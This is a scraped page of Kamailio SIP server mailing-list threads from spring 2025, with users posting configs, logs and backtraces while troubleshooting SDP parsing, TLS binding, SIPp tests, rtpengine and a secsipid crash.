Hello, I am getting the following errors on kamailio 6.0.0: May 14 07:10:20 hostname.xxxxxx.net docker[20678]: 53(59) ERROR: {2 24186 INVITE 7c127e81-45a8-41bb-ab64-7b0e7223f7ff} <core> [core/parser/sdp/sdp_helpr_funcs.c:336]: extract_candidate(): no component in `a=candidate' May 14 07:10:20 hostname.xxxxxx.net docker[20678]: 53(59) ERROR: {2 24186 INVITE 7c127e81-45a8-41bb-ab64-7b0e7223f7ff} <core> [core/parser/sdp/sdp_helpr_funcs.c:336]: extract_candidate(): no component in `a=candidate' May 14 07:10:20 ap07stvp.dyninno.net docker[20678]: 53(59) ERROR: {2 24186 INVITE 7c127e81-45a8-41bb-ab64-7b0e7223f7ff} <core> [core/parser/sdp/sdp_helpr_funcs.c:336]: extract_candidate(): no component in `a=candidate' Candidates in SDP looks valid per RFC: a=candidate:vnyxKH3f79Lw0zSj 1 UDP 2130706431 1x.xxx.xxx.xxx 26010 typ host a=candidate:vnyxKH3f79Lw0zSj 2 UDP 2130706430 1x.xxx.xxx.xxx 26011 typ host a=remote-candidates:1 9x.xx.xxx.xxx 56628 I am using the 6.0.0-alpine version (https://github.com/kamailio/kamailio-ci/pkgs/container/kamailio-ci/34563256…) version: kamailio 6.0.0 (x86_64/linux) flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled on 12:27:58 Jan 29 2025 with gcc 14.2.0 It appears that it could have been fixed in 6.0.1 (https://www.kamailio.org/pub/kamailio/6.0.1/ChangeLog commit a5ac9e04b91971da44256373904450501f9a4493) but I don't see 6.0.1-alpine image in https://github.com/kamailio/kamailio-ci/pkgs/container/kamailio-ci. Please advise, is there any plans to publish it? Kind regards, [logo] Arsenijs Kabihno | VoIP SIA "Dynatech", DYNATECH, Jeruzalemes St. 1, Riga, LV-1010, Latvia<https://www.google.com/maps/place/Jeruzalemes+St.+1,+Riga,+LV-1010,+Latvia> a.kabihno(a)dynatech.lv<mailto:a.kabihno@dynatech.lv> | https://dynatech.lv/<https://https://dynatech.lv/> Stay connected: [logo]<https://www.linkedin.com/company/dynatech-latvia/> Confidentiality Notice: This message contains confidential information and is intended only for the named recipient(s). If you are not the addressee you may not copy, distribute or perform any other activities with this information. If you have received this transmission in error, please notify us by e-mail immediately. E-mail transmission cannot be guaranteed to be secure or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses.

2 1

How to remove Reason HF from branched CANCEL?
by Benoit Panizzon 13 May '25

13 May '25

Hi Gang I try to remove the Reason Header from a CANCEL message. I use parallel branching on the registrar. The route below is called very soon in request_route. The cancel matches as I get the log entry just before calling remove_hf("Reason") But the Reason HF is still present when the CANCEL is forked to the registered CPE. The INVITE is routed through a branch_route after forking where headers can be altered per branch. But I don't see the CANCEL in the branch route. Is there a way to alter header in a branched cancel message? # CANCEL processing if (is_method("CANCEL")) { if (t_check_trans()) { route(FILTER_CANCEL); route(RELAY); } exit; } route[FILTER_CANCEL] { # Buggy iPhones send wrong cancel cause code 200. if (is_present_hf("Reason")) { $var(cause) = $(hdr(Reason){param.value,cause}); $var(text) = $(hdr(Reason){param.value,text}); if (($var(cause) == 200) && ($var(text) == "Call Rejected By User")) { if ($avp(debug) > 0) { xlog("L_INFO", "$cfg(route): Remove wrong iPhone Cancel Reason HF\n"); } remove_hf("Reason"); } } } Mit freundlichen Grüssen -Benoît Panizzon- -- I m p r o W a r e A G - Leiter Commerce Kunden ______________________________________________________ Zurlindenstrasse 29 Tel +41 61 826 93 00 CH-4133 Pratteln Fax +41 61 826 93 01 Schweiz Web http://www.imp.ch ______________________________________________________

2 2

xhttp module generates an error sip parsing error log
by 崔天浩 13 May '25

13 May '25

### Description I see that when the xhttp module is enabled, kamailio will forge the Via header to process the HTTP request, but the parse sip error will be generated in the log ``` 104(113) ERROR: <core> [core/parser/parse_uri.c:1417]: _parse_ruri(): bad uri </metrics> 104(113) ERROR: <core> [core/parser/parse_uri.c:1455]: parse_orig_ruri(): parse orig ruri failed 104(113) ERROR: pv [pv_core.c:355]: pv_get_ouri_attr(): failed to parse the R-URI ``` ### Troubleshooting #### Debugging Data Set up a Kamailio server with the xhttp module enabled. ``` loadmodule "xhttp.so" event_route[xhttp:request] { $var(xhttp_prom_root) = $(hu{s.substr,0,8}); if ($var(xhttp_prom_root) == "/metrics") { xlogl("L_INFO", " [$utimef(20%y-%d-%m %H:%M:%S)] [$(hdr(Call-ID))]: [bizCall=$xavu(bizCallId)] [bot=$xavu(bizBotId)] Called metrics\n"); prom_dispatch(); } } ``` #### Log Messages ``` 104(113) ERROR: <core> [core/parser/parse_uri.c:1417]: _parse_ruri(): bad uri </metrics> 104(113) ERROR: <core> [core/parser/parse_uri.c:1455]: parse_orig_ruri(): parse orig ruri failed 104(113) ERROR: pv [pv_core.c:355]: pv_get_ouri_attr(): failed to parse the R-URI ``` ### Additional Information ``` root@kamailio-60-bot-67d564c54c-xj97x:/# kamailio -V version: kamailio 6.0.1 (x86_64/linux) flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled with gcc 8.3.0 ``` * **Operating System**: ``` root@kamailio-60-bot-67d564c54c-xj97x:/# uname -a Linux kamailio-60-bot-67d564c54c-xj97x 5.4.119-19.0009.28 #1 SMP Thu May 18 10:37:10 CST 2023 x86_64 GNU/Linux ```

1 0

Is there an mistake in the dialog documentation?
by 13715209697＠139.com 12 May '25

12 May '25

Hi, team https://github.com/kamailio/kamailio/blob/master/src/modules/dialog/doc/dia… `dlg.list_match furi eq sip:alice@test.com 2` ? `dlg.list_match furi eq sip:alice@test.com` ?

2 2

Analysis regarding performance regressions OpenSSL 3.0/3.x
by Henning Westerholt 11 May '25

11 May '25

Hello, If somebody is using Kamailio in a larger environment with TLS, this new technical analysis and performance report from haproxy could be interesting: https://www.haproxy.com/blog/state-of-ssl-stacks The bottom-line - OpenSSL 3.0 will show serious performance regressions for larger TLS services with higher performance requirements. OpenSSL 3.1 and newer versions are a bit better, but still much slower in key operations. You should consider using the tls_wolfssl module or stay on OpenSSL 1.1.1. For the medium- to long-term we probably should observe how other OpenSSL libraries are developing and act accordingly for the tls modules. The haproxy project recommends besides using wolfssl also the aws-lc library. The situation regarding OpenSSL 3.x seems to be not easily fixable, as these regressions are caused from internal design decisions. Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 0

The index indicates that the sipjson module is not present in 6.0.x.
by 13715209697＠139.com 10 May '25

10 May '25

https://www.kamailio.org/docs/modules/6.0.x/modules/

3 2

SIPP UAS scenario
by Sergio Charrua 09 May '25

09 May '25

Hi all! my DEV/LAB environment is comprised of 3 nodes: - SIP 1 with Asterisk and SIPP installed (IP 10.20.0.5) - SIP 2 with Kamailio 5.8 (IP 10.20.0.4) - SIP 3 with Asterisk and SIPP installed (IP 10.20.0.6) Kamailio is set as a stateful SIP Proxy and seems to be working fine (the configuration is pretty standard, using dispatcher to dispatch to destination, even though there is only 1 destination endpoint -» SIP 3) When establishing a call from SIP 1 using Asterisk, the termination is correctly done on SIP 3, also running Asterisk. Hanging up call on SIP 3 will send the correct BYE command to SIP 1 (of course, Kamailio is always between the dialogs) When establishing a call from SIP 1 using SIPP and UAC scenario, the termination is correctly done on SIP 3 also running SIPP with a UAS scenario. However, hanging up the call on SIP 3 (SIPP scenario has a Pause of 2 seconds then sends a BYE message), the BYE command is not forwarded by Kamailio and SIPP keep sending BYE commands. This is an example of the ACK and BYE command being sent from SIP 3: > ACK sip:10.20.0.6:5060;transport=UDP SIP/2.0 > Via: SIP/2.0/UDP > 10.20.0.4;branch=z9hG4bK680a.47d763c3f0732dbe0fdb64ccbeb3454a.0 > Via: SIP/2.0/UDP 10.20.0.5:5060 > ;received=10.20.0.5;branch=z9hG4bK01175d44;rport=5060 > Max-Forwards: 69 > From: "Anonymous" <sip:anonymous@anonymous.invalid>;tag=as023237be > To: <sip:1000@10.20.0.4>;tag=20 > Contact: <sip:anonymous@10.20.0.5:5060> > Call-ID: 568f1bbe197039983fc89cc6403b927b@10.20.0.5:5060 > CSeq: 102 ACK > User-Agent: Asterisk PBX 18.17.1 > Content-Length: 0 and then: > BYE sip:anonymous@10.20.0.5:5060 SIP/2.0 > Via: SIP/2.0/UDP 10.20.0.6:5060 > Route: <sip:10.20.0.4;lr=on;ftage=46906> > Max-Forwards: 70 > From: sipp <sip:sipp@10.20.0.6:5060>;tag=46906SIPpTag0120 > To: : "Anonymous" <sip:anonymous@anonymous.invalid>;tag=as023237be > Call-ID: 568f1bbe197039983fc89cc6403b927b@10.20.0.5:5060 > Cseq: 2 BYE > Contact: sip:sipp@10.20.0.6:5060 > Content-Length: 0 > Subject: Sending BYE I'm pretty sure that the issue is within the SIPP Scenario(s), and my guess goes to the UAS scenario on SIP 3 that has some issue with the BYE command, but I can't figure why the message is wrong! The goal is to have a Testing environment where we can simulate different call situations. SIPP is a wonderful tool but such a PITA !! Probably i am missing some detail somewhere.... Has anyone done such a testing environment? Can anyone share a SIPP UAS scenario where the BYE command is sent from the UAS (send BYE instead of recv BYE) ? SIPP is launched on SIP 1 with: sipp -sf uac.xml -i 10.20.0.5 -p 5060 10.20.0.4 -r 1 -m 1 SIPP is launched on SIP 3 with: sipp -aa -sf uas5.xml -i 10.20.0.6 -p 5060 Thanks in advance. Atenciosamente / Kind Regards / Cordialement / Un saludo, *Sérgio Charrua*

2 2

Kamailio Crash
by Ben Kaufman 09 May '25

09 May '25

Greetings, all, I have a redirect server doing CNAM lookup (via http_async) and STIR/SHAKEN validation with secsipidx that is crashing every few hours. Kamailio 6.0.1 running in a Debian 12 container on an Amazon Linux 2023 host with ARM CPU. root@0689d4fe5fed:/# kamailio -v version: kamailio 6.0.1 (aarch64/linux) fce50d flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT-NOSMP, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: fce50d compiled on 15:50:40 Apr 1 2025 with gcc 12.2.0 Back trace is here, so I think it's a secsipid related problem? Slightly sanitized this output (Removed SIP message specifics in step #42). What should be my next course of action? #0 __pthread_kill_implementation (threadid=281473196830752, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44 #1 0x0000ffff95c90ab4 in __pthread_kill_internal (signo=6, threadid=<optimized out>) at ./nptl/pthread_kill.c:78 #2 0x0000ffff95c4a72c in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26 #3 0x0000ffff95c3747c in __GI_abort () at ./stdlib/abort.c:79 #4 0x0000ffff95c84aac in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0xffff95d66d28 "%s\n") at ../sysdeps/posix/libc_fatal.c:156 #5 0x0000ffff95c9aebc in malloc_printerr (str=str@entry=0xffff95d62098 "double free or corruption (!prev)") at ./malloc/malloc.c:5660 #6 0x0000ffff95c9cee8 in _int_free (av=0xffff95db0af0 <main_arena>, p=p@entry=0xaaab05dd41b0, have_lock=<optimized out>, have_lock@entry=0) at ./malloc/malloc.c:4587 #7 0x0000ffff95c9f77c in __GI___libc_free (mem=<optimized out>) at ./malloc/malloc.c:3385 #8 0x0000ffff90eb0a0c in w_secsipid_get_url (msg=0xffff92f53030, purl=0xffff92e84e10 "\220M\350\222\377\377", povar=0xffff92e84fd0 "\004") at secsipid_mod.c:961 #9 0x0000aaaaea4fd710 in do_action (h=0xffffff40a610, a=0xffff92e8e9b0, msg=0xffff92f53030) at core/action.c:1133 #10 0x0000aaaaea50d3c4 in run_actions (h=0xffffff40a610, a=0xffff92e8e9b0, msg=0xffff92f53030) at core/action.c:1620 #11 0x0000aaaaea50db44 in run_actions_safe (h=0xffffff40bc50, a=0xffff92e8e9b0, msg=0xffff92f53030) at core/action.c:1683 #12 0x0000aaaaea71a7e0 in rval_get_long (h=0xffffff40bc50, msg=0xffff92f53030, i=0xffffff40ab48, rv=0xffff92e8fc78, cache=0x0) at core/rvalue.c:973 #13 0x0000aaaaea7200f0 in rval_expr_eval_long (h=0xffffff40bc50, msg=0xffff92f53030, res=0xffffff40ab48, rve=0xffff92e8fc70) at core/rvalue.c:1852 #14 0x0000aaaaea720118 in rval_expr_eval_long (h=0xffffff40bc50, msg=0xffff92f53030, res=0xffffff40b080, rve=0xffff92e903b0) at core/rvalue.c:1862 #15 0x0000aaaaea4fd090 in do_action (h=0xffffff40bc50, a=0xffff92e91810, msg=0xffff92f53030) at core/action.c:1099 #16 0x0000aaaaea50d3c4 in run_actions (h=0xffffff40bc50, a=0xffff92e8d690, msg=0xffff92f53030) at core/action.c:1620 #17 0x0000aaaaea4f9400 in do_action (h=0xffffff40bc50, a=0xffff92e82210, msg=0xffff92f53030) at core/action.c:711 #18 0x0000aaaaea50d3c4 in run_actions (h=0xffffff40bc50, a=0xffff92e82210, msg=0xffff92f53030) at core/action.c:1620 #19 0x0000aaaaea50db44 in run_actions_safe (h=0xffffff40daf0, a=0xffff92e82210, msg=0xffff92f53030) at core/action.c:1683 #20 0x0000aaaaea71a7e0 in rval_get_long (h=0xffffff40daf0, msg=0xffff92f53030, i=0xffffff40c188, rv=0xffff92e82378, cache=0x0) at core/rvalue.c:973 #21 0x0000aaaaea7200f0 in rval_expr_eval_long (h=0xffffff40daf0, msg=0xffff92f53030, res=0xffffff40c188, rve=0xffff92e82370) at core/rvalue.c:1852 #22 0x0000aaaaea720118 in rval_expr_eval_long (h=0xffffff40daf0, msg=0xffff92f53030, res=0xffffff40c6c0, rve=0xffff92e82ab0) at core/rvalue.c:1862 #23 0x0000aaaaea4fd090 in do_action (h=0xffffff40daf0, a=0xffff92e83a90, msg=0xffff92f53030) at core/action.c:1099 #24 0x0000aaaaea50d3c4 in run_actions (h=0xffffff40daf0, a=0xffff92e83a90, msg=0xffff92f53030) at core/action.c:1620 #25 0x0000aaaaea4fd5e8 in do_action (h=0xffffff40daf0, a=0xffff92e83bf0, msg=0xffff92f53030) at core/action.c:1119 #26 0x0000aaaaea50d3c4 in run_actions (h=0xffffff40daf0, a=0xffff92e79450, msg=0xffff92f53030) at core/action.c:1620 #27 0x0000aaaaea4f9400 in do_action (h=0xffffff40daf0, a=0xffff92e75710, msg=0xffff92f53030) at core/action.c:711 #28 0x0000aaaaea50d3c4 in run_actions (h=0xffffff40daf0, a=0xffff92e75710, msg=0xffff92f53030) at core/action.c:1620 #29 0x0000aaaaea50db44 in run_actions_safe (h=0xffffff4101f8, a=0xffff92e75710, msg=0xffff92f53030) at core/action.c:1683 #30 0x0000aaaaea71a7e0 in rval_get_long (h=0xffffff4101f8, msg=0xffff92f53030, i=0xffffff40e028, rv=0xffff92e75878, cache=0x0) at core/rvalue.c:973 #31 0x0000aaaaea7200f0 in rval_expr_eval_long (h=0xffffff4101f8, msg=0xffff92f53030, res=0xffffff40e028, rve=0xffff92e75870) at core/rvalue.c:1852 #32 0x0000aaaaea720118 in rval_expr_eval_long (h=0xffffff4101f8, msg=0xffff92f53030, res=0xffffff40e560, rve=0xffff92e75fb0) at core/rvalue.c:1862 #33 0x0000aaaaea4fd090 in do_action (h=0xffffff4101f8, a=0xffff92e76e10, msg=0xffff92f53030) at core/action.c:1099 #34 0x0000aaaaea50d3c4 in run_actions (h=0xffffff4101f8, a=0xffff92e74500, msg=0xffff92f53030) at core/action.c:1620 #35 0x0000aaaaea5095fc in do_action (h=0xffffff4101f8, a=0xffff92e79110, msg=0xffff92f53030) at core/action.c:1401 #36 0x0000aaaaea50d3c4 in run_actions (h=0xffffff4101f8, a=0xffff92e71a40, msg=0xffff92f53030) at core/action.c:1620 #37 0x0000aaaaea4f9400 in do_action (h=0xffffff4101f8, a=0xffff92dd8520, msg=0xffff92f53030) at core/action.c:711 #38 0x0000aaaaea50d3c4 in run_actions (h=0xffffff4101f8, a=0xffff92dd7e30, msg=0xffff92f53030) at core/action.c:1620 #39 0x0000aaaaea4fd5a8 in do_action (h=0xffffff4101f8, a=0xffff92dd8680, msg=0xffff92f53030) at core/action.c:1115 #40 0x0000aaaaea50d3c4 in run_actions (h=0xffffff4101f8, a=0xffff92dce4c0, msg=0xffff92f53030) at core/action.c:1620 #41 0x0000aaaaea50dbf4 in run_top_route (a=0xffff92dce4c0, msg=0xffff92f53030, c=0x0) at core/action.c:1703 #42 0x0000aaaaea6bfff8 in receive_msg ( buf=0xaaaaeac284b8 <buf> "INVITE sip:2345678901@1.2.3.4 SIP/2.0\r\nRecord-Route: <sip:1.2.3.5;lr=on;ftag=gK045643d5>\r\nRecord-Route: <sip:1.2.3.6;lr=on;ftag=gK045643d5>\r\nVia: SIP/2.0/UDP 1.2.3.5:5060;branch"..., len=2492, rcv_info=0xffffff410a10) at core/receive.c:520 #43 0x0000aaaaea85abe0 in udp_rcv_loop () at core/udp_server.c:770 #44 0x0000aaaaea4e26a8 in main_loop () at main.c:1895 #45 0x0000aaaaea4f1e88 in main (argc=16, argv=0xffffff411178) at main.c:3406 Kaufman Senior Voice Engineer E: bkaufman(a)bcmone.com SIP.US Client Support: 800.566.9810 | SIPTRUNK Client Support: 800.250.6510 | Flowroute Client Support: 855.356.9768 [img]<https://www.sip.us> [img]<https://www.siptrunk.com> [img]<https://www.flowroute.com> NOTE: This e-mail and any attachments are from BCM One, Inc. and are intended solely for the use and review of the individual(s) to whom it is addressed. If you believe you received this e-mail in error, please notify the sender immediately, delete the e-mail (and any attachments) from your computer and do not copy or disclose it to anyone else.

2 3

Having issues with compilation of evapi module and evapi_async_relay functions
by Steve Lim 02 May '25

02 May '25

Hello, We're trying to compile the evapi module. Tested on an upgraded 5.8.6 install as well as a new 6.0.1 install. tm module is loaded (for async), but our issues seem to run deeper. evapi_relay and evapi_async_relay are both not found by the core loader as per load failure (same pattern for evapi_async_relay, ommited for brevity) : 0(21496) DEBUG: <core> [core/sr_module.c:766]: find_mod_export_record(): export of <evapi_relay> not found (flags 1) 0(21496) DEBUG: <core> [core/sr_module.c:766]: find_mod_export_record(): export of <evapi_relay> not found (flags 0) 0(21496) ERROR: <core> [core/cfg.y:3877]: yyparse(): cfg. parser: failed to find command evapi_relay (params 2) 0(21496) CRITICAL: <core> [core/cfg.y:4018]: yyerror_at(): parse error in config file /etc/kamailio/kamailio.cfg, line 111, column 43: unknown command, missing loadmodule? earlier up, we're able to set the bind_addr parameter, so it appears that kamailio does recognize the module (and would fail anyways if it didn't since it's supposed to be loaded) 0(21496) DEBUG: <core> [core/modparam.c:112]: set_mod_param_regex(): 'evapi' matches module 'evapi' 0(21496) DEBUG: <core> [core/sr_module.c:852]: find_param_export(): found <bind_addr> in module evapi [/usr/local/lib64/kamailio/modules/evapi.so] 0(21496) DEBUG: <core> [core/modparam.c:135]: set_mod_param_regex(): found <bind_addr> in module evapi [/usr/local/lib64/kamailio/modules/evapi.so] quick look with nm shows that evapi_relay is exported, but evapi_async_relay isn't. root@kamailio-devel:~# nm -D /usr/local/lib64/kamailio/modules/evapi.so | grep relay 0000000000011dd7 T _evapi_relay 0000000000013b3f T evapi_relay 0000000000013b63 T evapi_relay_multicast 0000000000013b8d T evapi_relay_unicast What am I missing out here? Why can't I we get to the evapi_relay exported function and why isn't evapi_async_relay even showing up as exported? Thanks!

1 1

WebRTC error NS_ERROR_NET_TIMEOUT
by David Cunningham 01 May '25

01 May '25

Hello, Does anyone know of a reason (besides the obvious like network down) why users might experience a NS_ERROR_NET_TIMEOUT error in their browser when connecting to WebRTC port 8443 on Kamailio (version 5.2.7)? This only happens intermittently, so debugging it is tricky. The number of connections to Kamailio port 8443 peaks at around 4150 daily. The max open files ulimit in Linux is 65535, and in the Kamailio configuration we have "tcp_max_connections=32768" and "tls_max_connections=32000". Would anyone have any suggestions on where the problem might be? Thanks in advance! -- David Cunningham, Voisonics Limited http://voisonics.com/ USA: +1 213 221 1092 New Zealand: +64 (0)28 2558 3782

2 2

Looking for Documentation/Guidance to Setup Kamailio and RTPProxy to Terminate Encryption for Asterisk
by Joshua Ruehlig 30 Apr '25

30 Apr '25

Hello, I am fairly new to SIP and just recently setup Asterisk for a few purposes. 1) To have my Hikvision doorbell videocall my phone when someone presses it 2) Videocalling between me and my families' phones/tablets 3) Eventually have a home phone setup for POTS calling. I currently have an ObiHai202 that is still working with GoogleVoice, so this not a priority at the moment. I wanted to have encryption for SIP and RTP outside of my network, but wanted this to all be terminated on my OPNsense router. I can install Kamailio and RTPProxy on OPNsense since they are available for FreeBSD, but it looks like Rtpengine is currently not ported. Ideally I wanted most logic to be handled on my Asterisk server, and have Kamailio/RTPProxy do the bare minimum of encrypting/decryption and rewriting headers as needed. ## Diagram of my Targeted Setup ## * Android Phones / Tablets running Linphone || SIPS(TLS) / SRTP || * OPNsense Router ~ WAN_IP(dynamic)=DOMAIN.com / LAN_IP=10.0.1.1 - Kamailio / RTPProxy || SIP(UDP) / RTP || * FreeBSD Application Server ~ LAN_IP=10.0.1.17 / Internal_IP=192.168.10.17 - Asterisk || SIP(UDP) / RTP || * Hikvision Doorbell ~ Internal_IP=192.168.10.100 #### From my reading so far I have a few questions... * To setup Kamailio > Asterisk it looks like I need to setup the dispatcher module; I also I may need to write some routing code. Am I correct, that I will need to use the dispatcher module? Will I need to modify the routing code/logic or is the default usually sufficient? * I read RTPProxy does support SRTP, but I don't see any configuration options related to encryption. I assume this is just enabled in Asterisk/Kamailio? * For Asterisk configuration I believe I just need to define the outbound_proxy. But now I am not sure how I can require SRTP between my Linphone clients and RTPProxy, while the leg between RTPProxy and Asterisk is unencrypted RTP? Thanks for any help that is provided!

1 2

Kamailio TLS Listener Not Binding to Port (5061 or 10061)
by steven.muchwe 29 Apr '25

29 Apr '25

Hello Kamailio Community, I’ve been troubleshooting an issue with Kamailio where the TLS listener fails to bind to any specified ports (5061, 10061, etc.), despite valid configurations and certificates. Here’s a summary of my setup and steps taken: 1. *Environment Details*: - Kamailio version: 5.7.4 - OpenSSL version: 3.0.13 - Operating System: Ubuntu (Noble Release) - TLS module (tls.so) is installed and loaded. 2. *Issue Details*: - Configurations validate successfully (config file ok). - OpenSSL works perfectly when testing certificates and keys with s_server, binding to ports (5061 and others). - Kamailio fails to bind TLS listeners (ss -tulnp shows no activity on the specified ports). 3. *Steps Already Taken*: - Simplified TLS configuration (minimal_tls.cfg) with: plaintext listen=tls:10.14.202.39:5061 loadmodule "tls.so" modparam("tls", "certificate", "/home/localtech/vicissl/868a963bc33d5eae.crt") modparam("tls", "private_key", "/home/localtech/vicissl/private.key") - Tested multiple ports (5061, 10061, 15061). - Checked firewall settings (iptables) and confirmed no restrictions. - Rebuilt Kamailio from source and ensured TLS modules are linked to OpenSSL. - Ran Kamailio with maximum debugging (-ddd) to examine logs—no binding-related errors appeared. 4. *Log Excerpts*: (Attach relevant logs showing TLS initialization or lack of binding activity.) 5. *Question*: What additional steps or configurations should I explore to resolve this issue? Could this be a compatibility problem between Kamailio 5.7.4 and OpenSSL 3.0.13? Any guidance or insights would be greatly appreciated! Best regards, Steven Muchwe Njoroge

4 8

Re: SIP Call Drops After 0.32 Seconds – Asterisk on Kubernetes with Kamailio + RTPengine
by airsay＠duck.com 29 Apr '25

29 Apr '25

I will let the more experienced Kamailio folks comment on the technical/Kamailio/RTP modifications that you need to make. The SIP standard requires an ACK to a 200 OK to be sent within that 32 second window. If an ACK is not received, the session is torn down. You would need to do a packet capture to review the Contact header in the SIP and the c: in the SDP. I'm just getting bedded in with SIP, reading Alan B Johnston's "SIP: Understanding the Session Initiation Protocol". Excellent introduction to understanding SIP. Best regards Sent from my iPhone > On 23 Apr 2025, at 16:35, Fernando Lopes via sr-users <sr-users_at_lists.kamailio.org_airsay(a)duck.com> wrote: > > Hello everyone, > I'm running into an issue with SIP calls in my current setup and would really appreciate some help. > > Setup: > I have a machine named sip00 (IP: 192.168.1.75) running Kamailio + RTPengine. > Kamailio is dispatching calls to sip:192.168.1.190:32210;transport=tcp. This IP points to another machine running Asterisk inside a Kubernetes cluster. > RTPengine is configured with an RTP port range of 10000–20000, and my router is set to allow that same range. > > Asterisk Kubernetes Service Configuration: > yaml > Copy > Edit > spec: > ports: > - name: tcp-port > protocol: TCP > port: 5060 > targetPort: 5060 > nodePort: 32210 > - name: udp-port > protocol: UDP > port: 5060 > targetPort: 5060 > nodePort: 32210 > > Problem: > When I initiate a SIP call, the router forwards traffic to Kamailio + RTPengine, which then sends it to the Asterisk server on 192.168.1.190. > Everything seems fine initially, but at exactly 0.32 seconds into the call, Asterisk sends a BYE and no longer responds with 200 OK to the SIP dialog — even though I'm still receiving and sending audio. Then, at around 01:04, I get a 408 Request Timeout. > > Questions: > Do I need to explicitly expose the RTP port range (10000–20000) in the Asterisk Kubernetes service as well? > Why is Asterisk sending a BYE so early if audio is still flowing? > Could it be a signaling timeout or an issue with SIP dialog tracking? > Any help or pointers would be greatly appreciated! > > Thanks in advance! > __________________________________________________________ > Kamailio - Users Mailing List - Non Commercial Discussions -- sr-users(a)lists.kamailio.org > To unsubscribe send an email to sr-users-leave(a)lists.kamailio.org > Important: keep the mailing list in the recipients, do not reply only to the sender!

7 7

[Serusers] Digest Authentication with Tenor DX
by Ashutosh Kumar 29 Apr '25

29 Apr '25

Hi, Does someone have any idea/experience with Quintum DX radius server's support for digest mode authentication. The Access-Request packets sent by SER are getting an error back. Guide. Regards, Ashutosh Kumar Chetu, Inc. Ph : 1(305) 402 6724 - Witin US Ph : 91 120 5323340 - Outside US Fax:1 (305) 832 5987 For more information, please visit http://www.chetu.com

2 1

SIP Call Drops After 0.32 Seconds – Asterisk on Kubernetes with Kamailio + RTPengine
by Fernando Lopes 29 Apr '25

29 Apr '25

Hello everyone, I'm running into an issue with SIP calls in my current setup and would really appreciate some help. Setup: I have a machine named sip00 (IP: 192.168.1.75) running Kamailio + RTPengine. Kamailio is dispatching calls to sip:192.168.1.190:32210;transport=tcp. This IP points to another machine running Asterisk inside a Kubernetes cluster. RTPengine is configured with an RTP port range of 10000–20000, and my router is set to allow that same range. Asterisk Kubernetes Service Configuration: yaml Copy Edit spec: ports: - name: tcp-port protocol: TCP port: 5060 targetPort: 5060 nodePort: 32210 - name: udp-port protocol: UDP port: 5060 targetPort: 5060 nodePort: 32210 Problem: When I initiate a SIP call, the router forwards traffic to Kamailio + RTPengine, which then sends it to the Asterisk server on 192.168.1.190. Everything seems fine initially, but at exactly 0.32 seconds into the call, Asterisk sends a BYE and no longer responds with 200 OK to the SIP dialog — even though I'm still receiving and sending audio. Then, at around 01:04, I get a 408 Request Timeout. Questions: Do I need to explicitly expose the RTP port range (10000–20000) in the Asterisk Kubernetes service as well? Why is Asterisk sending a BYE so early if audio is still flowing? Could it be a signaling timeout or an issue with SIP dialog tracking? Any help or pointers would be greatly appreciated! Thanks in advance!

2 1

rtpengine module does not detect new nodes in table
by David Cunningham 29 Apr '25

29 Apr '25

Hello, We are using Kamailio 5.8.2 with the rtpengine module on Ubuntu 22.04. The "rtpengine" table is used to define nodes, with a configuration like this: modparam( "rtpengine", "db_url", DB_URL ) modparam( "rtpengine", "table_name", "rtpengine" ) modparam( "rtpengine", "setid_default", 1 ) It works fine if Kamailio is restarted after entries in the "rtpengine" table are inserted or deleted, but new entries in the table aren't detected automatically. Is there a way to configure Kamailio to detect them? Thank you, -- David Cunningham, Voisonics Limited http://voisonics.com/ USA: +1 213 221 1092 New Zealand: +64 (0)28 2558 3782

4 6

OT: Client DNS resolver crashing on NAPTR lookup
by Benoit Panizzon 28 Apr '25

28 Apr '25

